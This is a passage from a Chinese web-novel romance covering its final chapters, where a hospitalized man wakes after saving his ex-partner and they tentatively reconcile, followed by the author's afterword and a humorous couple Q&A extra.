医生:“根据检查结果来看,贺先生的心脏已经出现一些问题了,会时不时心绞痛,他自己应该也能感觉到,可我不明白他为什么还坚持服药。等他醒了,我想你可以问问,让他不要再这样过量服用,否则真等患上心脏病,那可就麻烦了。” 甄甄的心被这一个一个重若千钧的字压到谷底,沉得他几乎要窒息。他听见自己略有些沙哑的声音,很艰难地开口:“会对日常生活造成什么影响吗?” “我听说贺先生似乎很青睐橄榄球,但如果再这样恶化下去,他以后大概不能再进行任何剧烈运动了。” 医生又说了一些术后注意事项,贺过岭道过谢,礼貌目送他离开。 他回头,见甄甄还呆站在原地,笑道:“医生都说了,他没事,你别太着急。” “我不是着急……”甄甄垂着头,过长的睫毛在眼睑处投下一层阴影,闷声道:“我只是……心里有些难受。” “显然你不只是说他在车里救你这件事。我也不清楚你们之间究竟还发生了什么,但是甄甄,我想告诉你的是,贺越邱虽然是挺畜生,可我想,他为你做这些,初衷一定不是想看见你这么难过。” “我不知道他吃过敏药会导致这么严重的后果,如果我早知道……” 贺过岭的手搭在甄甄肩膀上,打断了他的思绪。他把人掰正,直视着那双有些慌乱的眼睛,正声道:“你没有错。他是成年人,他有权利做自己想做的事,也应该为此负责。他愿意为你做什么事,那是他的自由,不是你的责任。” “同样,他救你,那是他的选择。但你不必因此而感到过分自责。你只是突逢意外,思绪都是乱的,一时半会儿还不能从那种危险环境里转过弯。你现在该做的事是吃点东西,看看自己喜欢的电视或者小说,等心情好点儿之后再去睡一觉。” 甄甄也不知道听进去没有,胡乱点点头—— 作者有话说:完结有点苦手,不过我会尽快写完,不让大家等太久[猫爪] 第89章 第 89 章 死灰复燃。 甄甄大概就是很不听医生话的那一种患者, 贺过岭担心他,让他好好休息。但他哪里有心情吃饭睡觉。 贺过岭还要值班,被叫走之前, 给甄甄点好外卖, 叮嘱他先去自己办公室, 一会儿记得吃东西。 等他一走, 甄甄转头就去了特护病房。 贺越邱刚从手术台下来, 现在还不允许非医护人员进入。他只能隔着一层透明的玻璃,去看病床上浑身都插满管子的男人,眼神中充满担心。 耳边除了他自己的呼吸,就只有仪器滴滴答答的声音, 安静得让人心慌。 纤长的手指贴上玻璃壁面, 很冷, 却不及他在医生口中听到贺越邱身体状况时, 心里渐渐冻结的寒意。 你知道过量吞服过敏药会导致心脏问题吗? 你在扑过来救我的那一刻有没有想过会留下后遗症,要搭上自己的下半辈子? 你……会不会后悔? 分手后,甄甄已经鲜少有这么多的问题想要问贺越邱, 但男人那张甜言蜜语按斤称的嘴,却已经发不出任何声音。 他躺在病床上, 生死未卜,回应不了甄甄的问题。 甄甄没有办法做到视若无睹。要很硬的心肠才能无视救命之恩,而只要是见过甄甄的人, 即便只是扫过他一眼, 连话都没说上,光看那张漂亮的仿佛从没经历过摧折得脸蛋,也看得出这是一个心肠很软的人。 贺过岭的话很有道理,理智也告诉甄甄, 救你是贺越邱自己的决定,不需要你为此付出什么。 可情感上他根本无法撇清。这不是平日里那些所谓的弥补,这是实打实的,活生生的一条命。 贺越邱做了一个很长,也很痛苦的梦。血液从他的身体里流出去,带走他的体温、感觉、生命力,他前所未有的体会到了死亡的威胁。让他不能够再见到甄甄,不能够再感受到甄甄怀抱的温度。 四面八方都是深夜一般的漆黑,而他像一滴落入墨池的水,毫无抵抗之力。 惶恐之下,他只听得见一声声熟悉的呼喊,从很远很远、似乎他穷尽一生也到达不了的远方传来。用他曾经梦寐以求的担忧的语气,却听得他心脏一抽一抽的痛,恨不得立刻睁开眼睛,告诉声音的主人。 不要再哭了,我没事,都是我装的,一点也不疼,我马上就好了。 可贺越邱却做不到。他的喉咙像被石头堵住,发不出一丁半点的声音。他想要抬手摸一摸男孩的脸,替他擦掉那些像珍珠一样挂在睫毛上闪闪发亮很好看的眼泪。 但贺越邱从来没有遇到过这样无力的时刻,别说抬一抬手指,就连维持这样的念头,对现在的他来说都仿佛有万斤重石,沉甸甸地压在他身上,逼他放弃。 到最后他已经连清醒的意识都没有了。 彻底陷入黑暗之前,贺越邱听到了一句来自甄甄的,令他欣喜若狂、却又心碎无比的承诺。他急得想要立刻从病床上站起来,告诉甄甄,保护他从来都是自己必须要遵守的责任,不是交换在一起的条件,更不是要挟! 贺越邱也不知道他究竟失去了多久的意识,等他再次能感受到自己的存在和心脏的跳动,他便拼命地顶撞着压在身上的巨石,绝不允许有任何阻碍挡在自己和甄甄中间。 被褥下,小麦色的手指微微动了动,弧度小到像一只蜻蜓随意地略过湖面。 甄甄却捕捉到了这只“蜻蜓”,他猛地睁大眼,激动地从椅子上站起来,狂按着床头的呼叫铃。 护士站立刻派医生过来,还是做手术的那个,在仔细检查一番过后,实实在在地松了口气,转过头对着甄甄,语气难掩欣慰:“贺先生年轻力壮,求生意志很顽强,想来要不了多久,他就能完全脱离危险了。” 甄甄眼中闪过一丝光亮,高高兴兴地同医生道过谢,把他送走后,又坐回原位,耳边回响着刚刚那几句对话,激动得忍不住搓了搓脸,又轻轻拍了拍。 “太好了……”他喃喃道,“你没死,我欠你的就还得清了。” 他的声音小到几乎听不见,可下一秒,那双一直紧闭的眼睛,睫毛却突然颤了颤,眼球快速地转动几圈后,艰难地睁开双眼。 贺越邱的意识还没有完全回笼,定定地盯了许久天花板,才终于能够缓慢地转头,在看到甄甄的那一刻瞳孔瞬间缩成圆点。 甄甄…… 他张嘴,想要说话,这才发现喉咙里沙哑得厉害,好像吞进去十几颗石子儿,一牵扯到咽喉就痛。 “你……没事……” 那就是最好了。 贺越邱忍着喉间和伤口处传来的不适,眼神温和得让甄甄都有些不适应,跟变了个人似的。 但贺越邱心里只想着甄甄,看他全身上下好像连点皮都没擦破,终于是彻底地放下了心。 都没等甄甄回应,他便安心地又昏了过去。好像费劲心力醒这一次,就只是为了看看甄甄是不是好好的。 甄甄显然没想到,愣了下,一开始还担心会不会是什么回光返照,吓得差点又哭了。医生还没坐回办公室,就又被护士一个铃摇了过去。 再三检查后,医生无奈道:“真没事儿,麻醉药过了,是该醒一下,不然麻醉师该吓得睡不着了。” 甄甄咬咬唇,活像古代丈夫重病在床、束手无策即将守寡的妻子,“可他怎么刚醒就又晕了……会不会是……”他都不敢说出来那四个字。 医生哭笑不得:“我觉得可能是贺先生的本能?他担心你,怕自己没救下你,所以强撑着看你一眼。见你好端端地坐在那儿,也就放心了。” “这样吗……” “我知道这种事的发生都会让被救者产生很严重的心理负担,不过你真的不用太担心,贺先生基本不会再有生命危险,彻底清醒只是时间问题。”医生还以为他们是情侣,“我很理解你的心情,但医院里除了病人之外,家属的身体健康也是很重要的。你现在再怎么担心贺先生的身体状况,他也不可能马上好转,照顾病人可是持久战,首先要把自己的身体照顾好才是正经。” 这话甄甄在贺过岭那儿听得耳朵都快起茧子了,他不甚在乎的点点头,又坐回了自己的小凳子。 医生感叹着现在感情这么深的小情侣可不多见了,转身离开病房,把门也轻轻地带上。 甄甄觉得医生可能误会了什么,但贺越邱刚救了他,要是他昏迷中也有意识,听见自己急忙否认,说不准一个心灰意冷,直接自己给自己拔管了怎么办? 按他的个性绝对不会喝孟婆汤老老实实去投胎,一定会变成阴魂不散的鬼魂日日夜夜地缠着他,白天木着个死人脸、阴气森森的,晚上睡觉的时候就压在他身上。有人一靠近他,就发动功力让那个人倒霉;瘾犯了就吸他阳气。要不了多久他就会印堂发黑,谁见到他,谁就会说他让男鬼给缠上了。 甄甄被自己脑补出的情节吓得浑身发抖,病房里的空调冷得起鸡皮疙瘩,赶紧摇了摇头,把这些不切实际的幻想都甩出脑子。 他看向病床上安安静静躺着的贺越邱,半天,忍不住又叹了口气。 反反复复的,也只有那一句:“早知道有今天,你当初何必……” 医院能把命悬一线的人从鬼门关里拉回来,可再好的医院,也没有后悔药卖。 贺越邱的眼角缓缓流下一行眼泪。 病房里响起一声轻到不能再轻的叹气。 甄甄沉默一瞬,似是无奈,又像是认命般,伸手抚上贺越邱的眼睛,往下轻轻一抹……不对怎么像在整理死不瞑目的人…… 甄甄重来一次,擦掉贺越邱脸上的眼泪,用低到只有自己能够听见的声音:“……算了。” 满脑子只有爱情的时候,做什么都乐在其中。那份爱在真相暴露,被谎言和暴力摧残得一干二净后,残留的不甘心、怨憎恨,就连逼自己看开的释怀,其实都很累很累,比背着一只甩不掉的鬼还累。 甄甄自认为他的前十几年已经够累了,他不想再因为一个人或一件事过得同从前一样辛苦,无论是执着于那个人的爱,还是伤害。 “你呢,以前把我害得可够惨的。我都说过不想再搭理你了,你又非要把自己折腾得要死不活的,明知道我胆子很小,很怕……”甄甄说着说着,声音就有些颤抖,他抓着贺越邱没有输液的那只手,往常总是滚烫的手心现在冷冰冰的,眼泪打在上面绽开一圈水花。 甄甄停了一会儿,再开口时,还是鼻酸哽咽:“你肯定是不会死的。但是我真的很怕。如果我说愿意和你重新在一起,你肯定就高兴得不想死了。你真的……是个混蛋。你就是吃定了我见不得人可怜,我连小猫小狗可怜兮兮的样子都见不得……” “我就当是捡了一条无家可归的流浪狗好吧,当我再烂好人没底线一次。” 甄甄妥协了,他忘不了贺越邱对自己的伤害,却也忽略不了贺越邱的以死相抵,他知道这辈子除了父母以外,大概再也找不到一个可以毫不犹豫为他去死的人了。 或许这份妥协里,又夹杂了一丝得偿所愿。他终于像坐在熊熊燃烧的火堆边,在经历动摇、痛苦、崩溃、绝望、死心、平静的日夜里,重新感受到了贺越邱的爱,依旧是那么的炽烈。 有一颗火星溅到甄甄的手背上,爱和痛在刹那间被同时点燃,他的心微微一动。 第90章 第 90 章 苏醒。 贺越邱这一昏迷, 足足过去两天才又苏醒。 甄甄一直守着他。救助基地这些天全都是小张在忙活,让他不要担心,猫猫狗狗们都吃得饱饱的, 天热一直开着空调, 还经常去换冰块。 中途贺过岭看不下去, 半是强迫地把甄甄抱回自己的办公室, 以命令般的口吻让他待在休息室里好好睡一觉。 “贺越邱怎么办?”甄甄坐在床沿, 双手无意识地抓紧被单,一双漂亮得玻璃似的眼睛期期艾艾。 贺过岭受不了被他这么看着,无奈道:“放心,祸害遗千年, 他死不了。我找了医院里风评很好的护工, 照顾病人肯定比你更细致, 专业的事就交给专业的人做。” 甄甄连着两天都没怎么好好合过眼, 也确实累得不轻,闻言只好谢谢他。 贺过岭站在坐着的甄甄面前,那颗栗色的脑袋只到自己胸口, 揣在白大褂口袋里的大手动了动,很想上手摸一摸。 他微微一笑, 压下这股冲动,和声道:“你好好休息,我就不打扰了。我哥那边要是有动静, 我会马上给你打电话的。” “嗯。谢谢医生。” “不用谢。” 贺过岭离开前, 轻轻地把门带上。 重症昏迷的病人其实没有什么需要护理的地方,换药、检查体温等都是医护需要做的事,甄甄这两天无非就是一直陪床。但精神上的煎熬远比身体上的劳累更折磨人,这还是他从车祸发生后, 第一次踏踏实实地睡了个好觉。 期间贺风顺带着妻子来探望过。人老了,对生死之事难免伤春悲秋,尤其那躺在病床上的是自己亲生骨肉。 哪怕他从贺越邱小时起就不喜他的顽劣,可好端端地一个人突然就躺在ICU里生死未卜,哪怕天底下最冷血的父亲也会动容。 贺风顺从病房里出来后,似乎一瞬间就老了好几岁。 贺过岭在一旁陪同,听见他长长地一声叹息。许久,苍老而缓慢道:“你现在也大了。这些年我没有怎么管过老大,他长成这样,我难辞其咎。” 沈云安慰道:“孩子们长大了,都是不省心的,做父母的谁不是操心一辈子。” 贺风顺摇摇头,半晌,才说:“听说他几次住院都是因为小甄?我没八卦两口子之间那点事的爱好,但贺越邱什么脾气,我这个当老子的还能猜不出来?小甄跟着他指不定受了多少委屈,他既然做了对不起人家的混账事,现在吃些苦头也是应该的。年轻人之间的事,让他们自己去解决,外人,哪怕是父母,也都不好插手。” 沈云人如其名,永远都像一朵云般,温温柔柔的:“小甄是个很好的孩子,离了咱们家,也能过得好。是小贺离不开他。” 贺过岭安静听着,不置可否。 贺风顺话锋一转,沉沉地打量他许久。因年龄和阅历带来的威严让贺过岭有些呼吸不顺。 但这股气势并没有持续很久。贺风顺面对他时,同样叹了口气:“当年的事是你大哥做得太过分,我把他赶到国外,一个人没了娘又爹不疼,摸爬滚打地长这么大。虽说是他做错事,但家里面,归根结底是有些忽略和亏待他的。我知道你对他还有气,可这么多年,他也差不多还清了。爸不应该插手你们兄弟间的恩怨,但我和你妈迟早都会走,到时候这世界上你也就只剩这一个兄弟了,有些事……” 贺风顺从年轻时就不是个拐弯抹角的性子,他憋了半天,终于还是说出了那句对小儿子难以启齿的话:“……你能让他一点的,就稍微让他一下吧。” 他没明说,但病房外的三个人,心里都清楚话里的意思。 贺过岭搀扶着父亲的手微不可查地动了一下,像是肌肉又回忆起年幼时钻心的烫伤,正不停地抽搐着。 他低下头,与贺越邱有几分相似的嘴唇挂上些许讽刺的笑。他知道贺风顺真正想让他放弃的是什么,贺风顺不仅不了解他的大儿子,其实连自己这个小儿子也不怎么了解。 他以为他故意给贺越邱的追爱之旅上使绊子,是还像小时候那样以抢兄长东西为乐,所以即便为人父夹在两个儿子中间左右为难,也试图劝他容忍,放弃。 贺过岭也不为自己开脱。最开始,他接近甄甄时,的确带着几分报复贺越邱的心态。可随着日常点点滴滴的相处,他早已不再把甄甄只当做一个可以随意争抢的物品,他喜欢这个人的一颦一笑,心疼他的眼泪,感同身受他的痛苦。这种感情和贺越邱对甄甄的感情并无二致。 可他却没有办法将这些真心话诉诸于口。如同当初贺越邱被送出去前愤怒地辩驳动摇不了贺风顺的决心一样,他的剖白就算被认可,也绝不可能让贺风顺把话收回去。 沈云没有说话,她或许明白儿子的心,或许不明白。但她很坚定地知道一件事——永远也不要插进一段不属于自己的感情里,否则最后的结局只会玉石俱焚。 她不希望自己的孩子像贺越邱的母亲,也是她的亲妹妹一样,付出一切,去强求不属于自己的东西。 那不值得。也不是真正的爱。 他们刚走,贺越邱就醒了。 甄甄刚好睡醒,过来看看,推门而进,正好撞上男人茫然的眼神,像头刚出生的牛犊,简单得连甄甄都能轻易看穿。 甄甄心里咯噔一下,走过去,仔细看了看,脱口而出:“你该不会要说那句经典台词吧?你伤到的是肺不是脑子,是不会失忆的!” 贺越邱愣愣地看着他:“你是谁?” 甄甄猛地凑近,盯着他,试图看出些什么。 下一句就听见他说:“我一觉醒来什么也不记得了,只记得我好想结婚了,有一个老婆。你是我老婆吗?” 甄甄气极反笑,抬手习惯性地想推一把这死性不改的家伙,脑海里却突然闪过一段自己看过的烂尾小说,又赶紧收回手,踌躇半天也没找到适合下手的地方,最终只能隔着被子,轻轻地拧了他大腿一下。 “我看你是真失忆了,之前因为你爸过寿我们两个吵架,和好的时候不是你自己信誓旦旦的说,”甄甄模仿着贺越邱的语气,又重复了一遍,“‘我没办法和你在外国领证结婚,那玩意儿放国内也没任何法律效应。况且就那么个红本子,算什么安全感,我能给你比一张盖了戳的纸更够资格的保障。’—— 这不是你亲口说的吗?你从来都没想过要和我结婚,现在又要找老婆了。” 原本平稳的心电图突然起起伏伏,贺越邱装不下去失忆纯情少男,恹恹道:“我都这么惨了,你还看我笑话。那我后悔了,想跟你补个证,你又不愿意。” 贺越邱昏迷的时候,甄甄胆子还大一点,敢说那些话。但这人一醒,好多话就在嘴边,他又不知道该怎么说出口了。 贺越邱没注意到甄甄突如其来的沉默,以为他是因为自己当初的话而伤心,又认真解释道:“可能你觉得我在狡辩,但当我亲眼见过我妈是怎么追着我爸,又是个什么结局时,我就一点也不向往婚姻关系。因为在我眼里,一纸证书除了让两个人成为一种法定关系之外,它证明不了任何事实。爱情,婚姻,并不会因为有一张红色的结婚证就永不褪色,它既不承担改造本就对感情不负责的人的义务,也不能够保证夫妻双方永远相敬如宾。” “很多人觉得婚姻是一种保障,尤其是通过对财产的整合和绑定,能把夫妻双方绑在一起。但就我在自己的这个圈层所见所闻而言,实际上,大家婚前婚后照样各玩各的,财产也分得清清楚楚,谁都别想在对方那里占到一丁半点的好处。婚姻只是他们对外维持自身和公司形象的一张镀金名片。所以我一直不理解普罗大众对一张废纸的执着,它在我看来,是强势方对弱势方的枷锁,好时锦上添花、坏时落井下石。” 甄甄别过脸,避开贺越邱忧伤又灼热的视线:“你跟我解释这么多干什么……我又没答应和你结婚。” “因为那个时候我太自以为是,只顾忌自己的想法,而完全忽略了你的感受,忽略你很想要一段稳定的关系……”贺越邱声音有些颤抖,他刚脱离昏迷状态,说这么多话其实很耗费心神。 可他总觉得就是因为他以前没有和甄甄坦诚地交心,才会导致今天这种局面。 “也许是我自作多情了,可我不想你因为我的那些话而耿耿于怀。我跟你解释,是想说明,我不是故意不负责任、不做承诺。” 那道存在感极强的视线缓和下来,甄甄余光飞快地扫了一眼,发现贺越邱的眼神中溢满了温柔。 甄甄愣了愣,听到对方艰难地深呼吸几次,用低沉沙哑的声音,诚恳道:“对不起,甄甄,我那时候……太自我,听不见来自爱人心底的,小小声的愿望。” “……” 贺越邱笑了一下,换了种轻快的语气,努力想让气氛轻松些:“虽然我没有办法给你一张合法的结婚证,但是一直以来,我都愿意向所有人,向全世界宣布你的存在。我幻想过很多次我们的婚礼,也私下找律师起草过多份股权共同持有的协议。有些协议,集团内部的董事会不会通过,但有些协议,我想和你共享的,谁也拦不住。包括我名下所有的私人财产,在我的遗嘱上,你也是唯一的继承人。” “这些不是后来我想要挽回你,才亡羊补牢做下的决定。而是从一开始,当我做好要与你共度余生的准备的时候,就定下来了。” 甄甄吃惊于在自己都不知道的情况下,他居然已经变成了和贺越邱一样的亿万富翁,可…… “这些事你从来都没有跟我说过……” 甄甄不是因为突然知道贺越邱给他留了这么多财产才动容,而是,他心底不受控制地生出来一些怨恨,“你平时那么多花言巧语,为什么正应该解释的事却不及时说。” 虽然他那时候哪怕知道贺越邱为什么会说不在乎结婚证这种话,当他们之间走到后来那一步时,他一样也会分手。可……至少不至于在很长一段时间里,让他以为自己真心付出的感情,只是特权阶级的大少爷心血来潮的爱情游戏。 贺越邱的笑容有些苦涩:“有时候心怀鬼胎,再加上一点阴差阳错,就把爱变得……很曲折。”《 》 第 91 章【正文完结】 第91章 第 91 章 正文完结。 直到贺越邱被医生勒令必须要静养, 甄甄不得不先走,他都没有把在对方昏迷时做下的决定诉诸于口。 或许……在经历过这么多磨难之后,即便甄甄还愿意再容忍贺越邱一次, 但他到底从这段多灾多难的感情里失去了很多, 也成长了很多, 再也不可能像最开始那样, 继续无条件地、全身心地信任这个人了。 贺越邱带给甄甄的伤害是无法完全磨灭的, 伤好了之后疤还在。他终于也学会了天真之外的一点算计。 太轻易能够得到的东西,总归不值得多么珍惜。一定要历经千辛万苦,甚至是已经绝望,那时再得到的, 哪怕比主动给出的要少上许多, 也会叫人刻骨铭心。 甄甄想, 他也不是什么普度众生的圣人, 做不到以德报怨。这一点小小的惩罚,希望爸爸妈妈在天之灵,不要把他当做是一个坏孩子吧。 贺过岭把父母送走后, 也到下班的时间了。他回办公室打卡,路上有护士打招呼, 他才知道贺越邱已经醒了。 临走前,贺过岭不知出于什么心态,打开休息室的门, 意料之中的空空荡荡。 他走上前, 摸了摸叠得整整齐齐的凉被,似乎还带着一些使用过的温度,鼻尖萦绕着那股淡淡的小雏菊香味。 贺过岭坐了许久。直到某一刻,他意识到甄甄应该是已经走了, 而且大概不会再来,忽然就笑了一声。 不大的休息室里,一种奇怪的情绪在逐渐蔓延,像杂乱疯长的藤蔓般,紧紧地缠裹住贺过岭,一寸寸地绞紧了他的胸膛,逼得他的呼吸剧烈起伏。 他感受着一种窒息的痛苦,眼泪在无声中顺着脸颊流下来,打在皮质手套上。 他忽然就生出一种无限的愤怒,动作凶狠地摘掉手套,露出一双手上狰狞的疤痕,用崎岖的手背狠狠地抹掉眼泪。 贺过岭已经不记得自己上一次哭是在什么时候了,他只知道就在眼下,他的心脏几乎就要被一股无名的怒火烧成灰烬。他的情绪少有如此波动起伏的时候,而他从没有像现在这样痛恨一切到想要和整个世界都同归于尽的程度。 下一秒,随着一道突兀的推门声,外面的光线洒在贺过岭腿上,他的哭泣骤然停止,连带去而复返的甄甄也一样愕然,抓着门把手半天都没回过神。 半晌,还是甄甄顶着尴尬的气氛,主动道:“你怎么了,是哪里不舒服吗?” 贺过岭整个人都像一座石雕般愣在那儿,许久才找回自己的思绪,随即而来的就是一阵兵荒马乱。 一向斯文懂礼的贺医生罕见地慌乱起来,左看右看就是不知道在忙什么。甄甄在一边看地哭笑不得,顺手抽了几张纸递过去:“工作压力太大了吗?现在医患关系紧张,你们做这行的真是辛苦了。” 贺过岭没想到有一天会被甄甄安慰,积压在胸腔中无处发泄的极端情绪在这种情况下一散而空,只想赶紧找个地方把自己藏起来。 甄甄看出他的窘迫,也知道自己来的不是时候,他应该留一些空间给贺医生独自消化。但他这次来,本就是想把话说清楚,所以即使知道对方大概率会被自己伤到,他也不能就这么离开。 长痛不如短痛。就算没有贺越邱,他和贺医生之间也没有希望和可能,他不想一直吊着贺医生。 “每次我难过,茫然无措的时候,都是你安慰我开导我,难得贺医生也有不开心的事。”甄甄温温柔柔地笑起来,眼睛里有着动人的水光。 贺过岭想起来他为什么会注意到这个人,就是因为这样的笑容和神态,天真又亲和,像极了永远黏人、快乐的小狗。 他不经意间又沉沦在这双纯粹的眼睛里,哪怕明知对方接下来的话会像刀子一样,把自己的心一片片割开,他也心甘情愿。 又有谁能拒绝? “贺医生,你跟我说的那些话,我都听进去了,也很有道理。但我的决定也不是一时被感动心血来潮,更不是没有底线的选择原谅。我知道你担心我留在贺越邱身边也许会重蹈覆辙,其实他重新追求我的这些日子里,我也有着同样的担忧,我总是害怕离他太近,万一哪天又动了心怎么办?”甄甄苦恼地叹了口气。 “……你可以试试更多的人。”贺过岭抿抿唇,话很大胆,却不敢看甄甄的眼睛,“人的审美取向其实很单一,某种性格,或者某种长相。如果你是喜欢贺越邱那种类型的长相,那我也可以。” 血脉至亲还躺在特护病房里,按理说,贺过岭不应该公然挖墙脚,可他心底的恶意快溢满了,实在需要找到一个出口发泄。 这是甄甄第二次被贺过岭表白,没有第一次那么诧异,但也还是没习惯前男友的亲弟弟顶着一张差不多的脸说这些话。 他反而比贺过岭还害羞一点,不好意思地抓着衣角,措辞半天,认真地拒绝:“如果我可以对你心动的话,我们有过很多次机会。但事实是……” 话不用说完。 贺过岭冷哼一声,“你就是只会对我哥……” 但话说到一半,他又硬生生地咽了回去。 他不断地提醒着自己,你不是贺越邱那种人,不要拿你自己的不幸运,去惩罚无辜的人。 没想到,甄甄却大大方方地承认了:“其实你说得没错。我长这么大,动过心的、真正爱过的,始终都只有贺越邱一个人。哪怕是恨,怨,我也全都给了他。也正是因为给得太多,当我们闹得难堪后,才覆水难收。” 贺过岭似乎想说什么,但他一触及到甄甄那双美丽又多情的眼睛时,所有的声音在刹那间都消失得无影无踪。 甄甄似很无奈,又看透般的叹息一声,始终微微笑着,好像从来没有经历过任何坎坷曲折一般。 “我总是躲着贺越邱,推开贺越邱,现在想想,除了厌恶他、憎恨他之外,或许也是潜意识里在害怕万一真的沉沦在他的猛追猛打中,又动了心,那该怎么办?我会再一次被他伤害吗?会因为一段失败的恋爱,再丢半条命吗?我不敢赌,我终于知道什么是爱而生畏,爱而生怯。” 甄甄有那么一刻,表情是茫然的,像找不到方向、迷失在浓雾里,回不了家的小动物,可怜得让人感同身受。 但这样的迷茫一瞬即逝,贺过岭眼中的甄甄,依旧如初见般坚定,勇敢,纯然。 “我不能回避我在感情上的懦弱,因为我是人,是一个普通人,那就是会有缺点,不可能是十全十美的。” 甄甄笑容平和,却总让人觉得,他的眉毛是高高扬起的,他像是一朵永远向着太阳热烈盛开的小雏菊。 贺过岭沉默着,在心头否认,甄甄就是十全十美,值得所有人都喜欢。 甄甄思考了会儿,微微笑起来:“不过这几天我想了很多。害怕是人的天性,这不可耻。但渴望被爱同样是人的天性,这更不可耻。我就是很需要一个人像我爱他那样,毫无保留地爱我。我不想因为曾经经历过一段失败的感情,就永远沉溺于这种失败中,变得畏手畏脚,不敢再去付出感情;更不想因为害怕,就关上门,觉得自己不可能得到这样的爱。” “贺越邱总爱说我像小狗,贺医生你也是,很多熟悉我的人,都爱这么说。我想我大概是真的有小狗的某些特质。如果我真的是一只小狗的话——那我想,小狗被雨打湿后,不会因此躲在家里不敢出门,而错过往后的每一个晴天。哪怕是经历了整个潮湿的梅雨季,只要嗅到一丝阳光的味道,小狗甩甩耳朵尾巴,在鹅卵石路上快乐地倒腾着爪子,微风、云朵,徐徐地就都来了。” 离开前,甄甄真诚地看着贺过岭的眼睛,祝福他:“我不会因为被辜负过,就把自己变成一个不敢再爱的胆小鬼,但我也不会再让人随便伤害。在我确定那个人值得后,我还是会毫无保留地,付出全部去爱。贺医生比我聪明多了,你一定能够找到值得你这样付出的人,收获一段美好的爱情。” 贺过岭克制住自己追上去的冲动,回以一个如往常一样温和又得体的笑容,在这一刻发自内心的祝愿他能够幸福。 甄甄回到病房,贺越邱睡过一觉,早就醒了,这时候正无聊地盯着吊瓶数流速。 一听见脚步声,立刻扭头看向门的方向,满怀期待地看着甄甄一步步向自己走近,就好像在梦到的无数次婚礼上那样。 不过甄甄一开口,说的第一句话,就彻底打碎了贺越邱美好的幻想:“我去见贺医生了。” 贺越邱的脸立刻沉下来,但他又怕甄甄指控自己甩脸色,不得不硬咬着后槽牙,做出一副高兴的样子:“是吗?那你们聊得应该很开心吧?没关系,不用管我,反正也就是吊着一口气,死不瞑目罢了。” 甄甄睨他一眼,“你急什么?你不是特别喜欢让自己老婆去找别的男人吗?你看,我真找了,你又不高兴。” “我要真死了才好,变成鬼日日夜夜地缠着你,让你除了给我守寡之外,别想见一个男人。”贺越邱阴测测地说。 “那你去死吧,等你死了我给你烧纸的时候再告诉你,其实我把你气死的那天是去拒绝追求者了。让你死了也白死。” “那我就用鬼玩意儿狠狠地干你,正好还没试过空气——等等,你说什么?” 贺越邱一开始还没反应过来,气得胡言乱语。这会儿猛地瞪大眼,惊喜地看着甄甄,要不是浑身上下疼得动不了,非得跳起来把他按在怀里,里里外外地都舔一遍! 甄甄翻了个白眼,没好气地说:“死性难改!好话我就说一遍,你滚一边儿去!” 贺越邱当然不会滚了,他现在这浑身插满管子的模样也滚不了,但他心里美得又挠又痒,用眼神把甄甄翻来覆去地奸了个透,怎么看怎么喜欢。 他半开玩笑,半试探道:“那你是答应重新和我在一起了?” 甄甄的狗狗眼狠狠瞪他:“我没答应!” “那你什么时候答应?” “一辈子也不答应!” “宝宝,我好感动,你对我说一辈子了。” “贺!越!邱!你臭不要脸!” 贺越邱笑眯眯地看着面前炸毛的小狗,背起小包袱离家出走,差点就再也不回来了,终于被自己跪着哄回来一半。 依旧张牙舞爪,敢爱敢恨—— 作者有话说:终于到故事完结,甄甄的故事也结束了。 感谢大家的支持,连载期不断被举报、被排雷的时候,有很多话想说,也有很多委屈想诉苦。但后来觉得还是不要再把自己的不幸运翻来覆去讲,慢慢的克制住倾诉欲,也慢慢的就没什么太多话想要说。 开文之前,写到入v之前,每天都有数不尽的灵感和描写想要展示给大家看,但之后渐渐的很疲惫,状态又回到一种混混沌沌的样子,最后大概还是没能做到最好,没有给甄甄的故事画上太圆满的句号。一开始真的非常难过内疚,觉得自己怎么也写不好文,数据不行也连累喜爱的角色们不能被更多读者看到和喜欢,后来就强迫自己不要再想那么多,人也逐渐被动地麻木,不然真的太难过了。 也许我真的写不好一个故事,总是会受到外界的一些影响,写完了也是磕磕绊绊。大概我要休息一段时间,也许很快就见,也许晚一点。 最后,谢谢大家对甄甄的喜欢,我同样爱着这样一只勇敢坚强、不吝啬付出爱的小狗妹,他的人生在没有写出来的篇章里,受尽宠爱地继续着。他会拥有贺越邱更加成熟的爱,和越来越多的朋友,越来越多可爱的猫猫狗狗,越来越红红火火的猫咪餐厅。 第92章 番外 相性一百问。 1.双方的名字是? 贺越邱/甄甄 2.年龄差是? 甄甄:反正刚在一起的时候我还没成年。 贺越邱:别这么看着我, 做的时候成年了,也没大很多吧,不过就4岁 3.初次见面的场景? 甄甄:机场, 隔壁组缺演员, 两百一天请我演。 贺越邱:第一眼就觉得好漂亮, 为了认识, 请他和十几个同学吃了顿饭。 4.对彼此的第一印象? 甄甄:woc哪来这么大一只南美野牛, 安检员姐姐为什么没把这外来入侵物种驱逐出境运回北美。 贺越邱:笨笨地一头就撞进我怀里了,虽然那时候还不认识,但有一种刚回家,晒了一天太阳的小狗暖烘烘的来拱我的感觉。 (甄甄:我不是小狗!) 5.谁的性格更强势?谁更会撒娇? 甄甄:都多余问。 贺越邱:撒娇小狗最好命。 6.日常谁负责做饭/家务? 甄甄:又多余问。 贺越邱:爱做。 7.吵架后谁先低头? 甄甄:能把我这么通情达理的人逼到吵架, 错的是谁还用问吗? 贺越邱:我一低头就埋腿心, 诚心诚意地好好道歉。 8.最喜欢的约会地点? 甄甄:海边!烟花!浪漫的地方我都要去! 贺越邱:他想去哪就去哪, 老公挣钱老婆花不是天经地义吗。 9.如何称呼对方? 甄甄:这个嘛……平常喊名字, 高兴和想买东西的时候就喊老公,还有的时候……会喊哥…… 贺越邱:甄甄,宝宝, 老婆,分不出哪个使用频率更高。 10.希望对方如何称呼自己? 甄甄:宝宝……//w// 贺越邱:很喜欢被喊哥哥, 不过如果能再叫比如主人之类的,咳 11.用动物比喻对方? 甄甄:南美野牛 贺越邱:马比二象性 12.对方最让你心动的瞬间? 甄甄:嗯……傍晚在飘窗上把我完全抱进怀里,什么也不说的时候……听他的心跳会感觉到很安心, 不会被欺负。 贺越邱:虽然这么说很可耻吧……但的确还是带着泪花冲我笑的样子, 会有一种一定要把他捧在手心里,呵护好一辈子的冲动。 13.最不能容忍的习惯? 甄甄:无时无刻不在发情…… 贺越邱:挑食 14.谁更容易吃醋? 甄甄:他那么大度,当然不会吃醋了,我呗, 我最爱吃醋了,谁能比他大方,全世界最大方的男人了 贺越邱:宝贝…… 15.如果对方失踪24小时,你会? 甄甄:太好了! 贺越邱:不会有这个可能。 (16-30问:生活习惯、亲友关系、趣味小秘密)** 